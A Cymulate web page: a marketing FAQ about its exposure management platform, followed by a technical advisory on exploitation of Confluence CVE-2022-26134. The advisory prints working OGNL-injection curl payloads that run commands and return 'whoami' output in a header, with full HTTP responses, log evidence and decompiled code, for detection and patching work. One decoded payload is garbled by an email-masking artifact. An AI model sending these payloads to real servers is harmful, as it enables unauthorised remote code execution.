Frequently Asked Questions

Features & Capabilities

What is Cymulate's Exposure Management Platform?

Cymulate's Exposure Management Platform is a unified solution that enables organizations to validate their security posture, prioritize exposures, and automate mitigation. It integrates Breach and Attack Simulation (BAS), Continuous Automated Red Teaming (CART), and Exposure Analytics into a single platform for comprehensive threat resilience. Learn more.

What are Cymulate's key capabilities?

Cymulate offers continuous threat validation, attack path discovery, automated mitigation, AI-powered optimization, and complete kill chain coverage. The platform runs 24/7 automated attack simulations, provides actionable insights, and features an extensive threat library with over 100,000 attack actions aligned to MITRE ATT&CK, updated daily. See full capabilities.

How does Cymulate's Threat Validation solution differ from manual pen tests and traditional BAS?

Cymulate's Threat Validation solution provides automated, continuous security testing with a library of over 100,000 attack actions aligned to the full kill chain and MITRE ATT&CK. Unlike manual pen tests or traditional BAS, Cymulate offers easy, out-of-the-box control integrations and automated mitigation, allowing threat updates to be pushed directly to security controls. Learn more.

What is the benefit of Cymulate's immediate threats module?

According to a Penetration Tester, Cymulate's immediate threats module is quickly updated, allowing organizations to assess their IT estate for new risks and implement remedial actions rapidly. This feature provides immediate value by helping teams respond to emerging threats in real time. Source.

How does Cymulate's 'Threat (IoC) updates' feature improve threat resilience?

Cymulate's 'Threat (IoC) updates' feature provides recommended Indicators of Compromise (IoCs) that can be exported and directly applied to security controls. This improves threat resilience by enabling control owners to build defenses against new threats quickly and efficiently. Learn more.

What integrations does Cymulate support?

Cymulate integrates with a wide range of security technologies, including Akamai Guardicore, AWS GuardDuty, BlackBerry Cylance OPTICS, Carbon Black EDR, Check Point CloudGuard, Cisco Secure Endpoint, CrowdStrike Falcon, CrowdStrike Falcon Spotlight, Wiz, SentinelOne, and Cybereason. For a complete list, visit our Partnerships and Integrations page.

Does Cymulate provide automated mitigation?

Yes, Cymulate offers automated mitigation capabilities that integrate with security controls to push updates for immediate threat prevention. This feature is available as part of the Cymulate Exposure Management Platform. Learn more.

What is Cymulate's threat library?

Cymulate's threat library contains over 100,000 attack actions aligned to MITRE ATT&CK and is updated daily. This extensive library enables organizations to simulate real-world threats and validate their defenses against the latest attack techniques. Learn more.

What specific offerings are included in Cymulate's Threat Validation solution?

Cymulate's Threat Validation solution includes Cymulate Exposure Validation, Cymulate Auto Mitigation (optional), and Cymulate Custom Attacks (optional). These offerings are delivered via the Cymulate Exposure Management Platform. Learn more.

Pricing & Plans

What is Cymulate's pricing model?

Cymulate operates on a subscription-based pricing model tailored to each organization's requirements. Pricing is determined by the chosen package, number of assets, and scenarios selected for testing and validation. For a detailed quote, schedule a demo with Cymulate's team.

Competition & Comparison

How does Cymulate differ from similar products in the market?

Cymulate stands out due to its unified platform, continuous threat validation, AI-powered optimization, complete kill chain coverage, ease of use, and proven results. Customers have reported a 52% reduction in critical exposures, 60% increase in team efficiency, and 81% reduction in cyber risk within four months. Cymulate updates its SaaS platform every two weeks with new features. See comparison.

Use Cases & Benefits

Who can benefit from Cymulate?

Cymulate is designed for CISOs, security leaders, SecOps teams, Red Teams, and vulnerability management teams. It serves organizations of all sizes and industries, including finance, healthcare, retail, media, transportation, and manufacturing. Learn more.

What business impact can customers expect from using Cymulate?

Customers can expect improved security posture (up to 52% reduction in critical exposures), operational efficiency (60% increase in team efficiency), faster threat validation (40X faster than manual methods), cost savings, enhanced threat resilience (81% reduction in cyber risk within four months), and better decision-making with actionable insights. See impact.

What are some case studies or use cases relevant to Cymulate's pain points?

Case studies include Hertz Israel reducing cyber risk by 81% in four months, a sustainable energy company scaling penetration testing, Nemours Children's Health improving detection in hybrid environments, Saffron Building Society proving compliance, and Globeleq enabling efficient vulnerability prioritization. See case studies.

Do Cymulate's solutions address pain points differently for various personas?

Yes, Cymulate tailors solutions for CISOs (communication barriers, risk prioritization), SecOps teams (resource constraints, operational inefficiencies), Red Teams (threat simulation), and vulnerability management teams (validation and prioritization). Each persona receives targeted features and metrics. Learn more.

Technical Requirements

How easy is it to implement Cymulate?

Cymulate is designed for quick and easy implementation. It operates in agentless mode, requiring no additional hardware or complex configurations. Customers can start running simulations almost immediately after deployment. Comprehensive support and educational resources are available. Book a demo.

What support options are available for Cymulate customers?

Cymulate provides email support, real-time chat support, a knowledge base with technical articles and videos, webinars, e-books, and an AI chatbot for querying the knowledge base and creating AI templates. Contact support.

Security & Compliance

What security and compliance certifications does Cymulate hold?

Cymulate holds SOC2 Type II, ISO 27001:2013, ISO 27701, ISO 27017, and CSA STAR Level 1 certifications. These attest to robust security, privacy, and cloud controls. See certifications.

How does Cymulate ensure data security?

Cymulate ensures data security through encryption for data in transit (TLS 1.2+) and at rest (AES-256), secure AWS-hosted data centers, a tested disaster recovery plan, and mandatory 2-Factor Authentication (2FA), Role-Based Access Controls (RBAC), and IP address restrictions. Learn more.

Is Cymulate GDPR compliant?

Yes, Cymulate incorporates data protection by design and has a dedicated privacy and security team, including a Data Protection Officer (DPO) and Chief Information Security Officer (CISO). Learn more.

Product Information

What is the primary purpose of Cymulate's product?

Cymulate's platform helps organizations proactively validate their cybersecurity defenses, identify vulnerabilities, and optimize their security posture. It empowers security teams to stay ahead of emerging threats and improve resilience. Learn more.

What core problems does Cymulate solve?

Cymulate addresses overwhelming threat volumes, lack of visibility, unclear risk prioritization, and resource constraints. It provides continuous threat validation, exposure prioritization, improved resilience, operational efficiency, and collaboration across teams. Learn more.

What feedback have customers given about Cymulate's ease of use?

Customers consistently praise Cymulate for its intuitive, user-friendly interface and actionable insights. Testimonials highlight easy implementation, immediate value, and accessible support. For example, Raphael Ferreira, Cybersecurity Manager, stated, "Cymulate is easy to implement and use—all you need to do is click a few buttons, and you receive a lot of practical insights into how you can improve your security posture." See testimonials.

What is Cymulate's vision and mission?

Cymulate's vision is to create an environment where everyone has a voice and a common goal, making a lasting impact on cybersecurity. The mission is to transform cybersecurity practices by enabling organizations to proactively validate defenses, identify vulnerabilities, and optimize their security posture. Learn more.

What key information should customers know about Cymulate's company?

Cymulate is a leading cybersecurity company serving organizations of all sizes and industries. It is recognized as a market leader by Frost & Sullivan, updates its SaaS platform every two weeks, and holds industry-leading certifications. Cymulate has delivered measurable outcomes, such as an 81% reduction in cyber risk for Hertz Israel within four months. Learn more.

What types of cyber threats does Cymulate help financial services organizations address?

Cymulate helps financial services organizations address sophisticated threats such as ransomware, phishing, and advanced persistent threats (APTs), protecting both internal systems and customer-facing applications. Learn more.

What are some key challenges and statistics related to Continuous Threat Exposure Management (CTEM)?

Key challenges include prioritization overload (32% of SecOps teams have too many exposures to prioritize), breach reduction (organizations with CTEM are 3 times less likely to suffer a breach), and automation gaps (less than 10% of CTEM tasks are automated). See report.

What is Gartner's prediction regarding threat exposure findings by 2028?

Gartner predicts that by 2028, more than half of threat exposure findings will result from nontechnical vulnerabilities, requiring a fundamental shift in security priorities as these risks surpass traditional IT concerns. See Gartner report.

New: Cymulate Cowork for Agentic Cyber Defense Engineering
Learn More
PHP2Shell Vulnerabilities: What to Patch and How to Validate Defenses
Learn More
Cymulate named a Customers' Choice in 2026 Gartner® Peer Insights™
Learn More
Introducing Cymulate Vero AI for Agentic Cyber Defense Engineering
Learn More

Active Exploitation of Confluence CVE-2022-26134

June 8, 2022

The vulnerability is an OGNL injection vulnerability affecting the HTTP server. The OGNL payload is placed in the URI of an HTTP request. Any type of HTTP method appears to work, whether valid (GET, POST, PUT, etc) or invalid (e.g. "BALH"). In its simplest form, an exploit abusing the vulnerability looks like this: curl -v http://10.0.0.28:8090/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch%20/tmp/r7%22%29%7D/ Above, the exploit is URL-encoded. The exploit encompasses everything from the start of the content location to the last instance of /. Decoded it looks like this: ${@java.lang.Runtime@getRuntime().exec("touch /tmp/r7")} Evidence of exploitation can typically be found in access logs because the exploit is stored in the HTTP request field. For example, on our test Confluence (version 7.13.6 LTS), the log file /opt/atlassian/confluence/logs/conf_access_log..log contains the following entry after exploitation: [02/Jun/2022:16:02:13 -0700] - http-nio-8090-exec-10 10.0.0.28 GET /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch%20/tmp/r7%22%29%7D/ HTTP/1.1 302 20ms - - curl/7.68.0 Scanning for vulnerable servers is easy because exploitation allows attackers to force the server to send command output in the HTTP response. For example, the following request will return the response of whoami in the attacker-created X-Cmd-Response HTTP field (credit to Rapid7’s Brandon Turner for the exploit below). Note the X-Cmd-Response: confluence line in the HTTP response: curl -v http://10.0.0.28:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ * Trying 10.0.0.28:8090... * TCP_NODELAY set * Connected to 10.0.0.28 (10.0.0.28) port 8090 (#0) > GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1 > Host: 10.0.0.28:8090 > User-Agent: curl/7.68.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 302 < Cache-Control: no-store < Expires: Thu, 01 Jan 1970 00:00:00 GMT < X-Confluence-Request-Time: 1654212503090 < Set-Cookie: JSESSIONID=34154443DC363351DD0FE3D1EC3BEE01; Path=/; HttpOnly < X-XSS-Protection: 1; mode=block < X-Content-Type-Options: nosniff < X-Frame-Options: SAMEORIGIN < Content-Security-Policy: frame-ancestors 'self' < X-Cmd-Response: confluence < Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true < Content-Type: text/html;charset=UTF-8 < Content-Length: 0 < Date: Thu, 02 Jun 2022 23:28:23 GMT < * Connection #0 to host 10.0.0.28 left intact Decoding the exploit in the curl request shows how this is achieved. The exploit saves the output of the exec call and uses setHeader to include the result in the server’s response to the attacker. ${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("whoami").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))} Investigation led to the following partial call stack. public class TextParseUtil { public static String translateVariables(String expression, OgnlValueStack stack) { StringBuilder sb = new StringBuilder(); Pattern p = Pattern.compile("\$\{([^}]*)\}"); Matcher m = p.matcher(expression); int previous = 0; while (m.find()) { String str1, g = m.group(1); int start = m.start(); try { Object o = stack.findValue(g); str1 = (o == null) ? "" : o.toString(); } catch (Exception ignored) { str1 = ""; } sb.append(expression.substring(previous, start)).append(str1); previous = m.end(); } if (previous < expression.length()) sb.append(expression.substring(previous)); return sb.toString(); } } ActionChainResult.class calls TextParseUtil.translateVariables using this.namespace as the provided expression: public void execute(ActionInvocation invocation) throws Exception { if (this.namespace == null) this.namespace = invocation.getProxy().getNamespace(); OgnlValueStack stack = ActionContext.getContext().getValueStack(); String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack); String finalActionName = TextParseUtil.translateVariables(this.actionName, stack); Where namespace is created from the request URI string in com.opensymphony.webwork.dispatcher.ServletDispatcher.getNamespaceFromServletPath: public static String getNamespaceFromServletPath(String servletPath) { servletPath = servletPath.substring(0, servletPath.lastIndexOf("/")); return servletPath; } The result is that the attacker-provided URI will be translated into a namespace, which will then find its way down to OGNL expression evaluation. At a high level, this is very similar to CVE-2018-11776, the Apache Struts2 namespace OGNL injection vulnerability.